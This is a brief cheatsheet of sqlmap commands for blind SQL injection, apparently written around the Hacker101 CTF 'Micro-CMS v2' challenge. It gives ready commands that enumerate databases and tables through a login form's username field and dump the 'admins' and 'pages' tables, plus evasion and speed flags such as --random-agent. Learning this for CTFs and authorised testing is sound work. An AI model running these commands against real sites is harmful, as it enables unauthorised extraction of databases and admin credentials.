Skip to main content

SQL Map Cheatsheet

Usefull SQL Map commands, some of these come from real life examples in CTFs.

MacOS Installation

brew install sqlmap

Blind SQLi attack

Examples for Hacker101 CTF Moderate Micro-CMS v2

Get database list

sqlmap -u <URL> --method POST --data "username=FUZZ&password=" -p username --dbs --dbms mysql --level 2

Get tables list

sqlmap -u <URL> --method POST --data "username=FUZZ&password=" -p username --tables -D level2 --dbms mysql --level 2

Get contents of specific table

sqlmap -u <URL> --method POST --data "username=FUZZ&password=" -p username --dump -D level2 -T admins --dbms mysql --level 2
sqlmap -u <URL> --method POST --data "username=FUZZ&password=" -p username --dump -D level2 -T pages --dbms mysql --level 2

Usefull parameters

  • -o: turn all optimizations
    • --threads 5
    • --keep-alive
    • --predict-output
    • --null-connection
  • --random-agent
  • --code: HTTP code to match when query is evaluated to True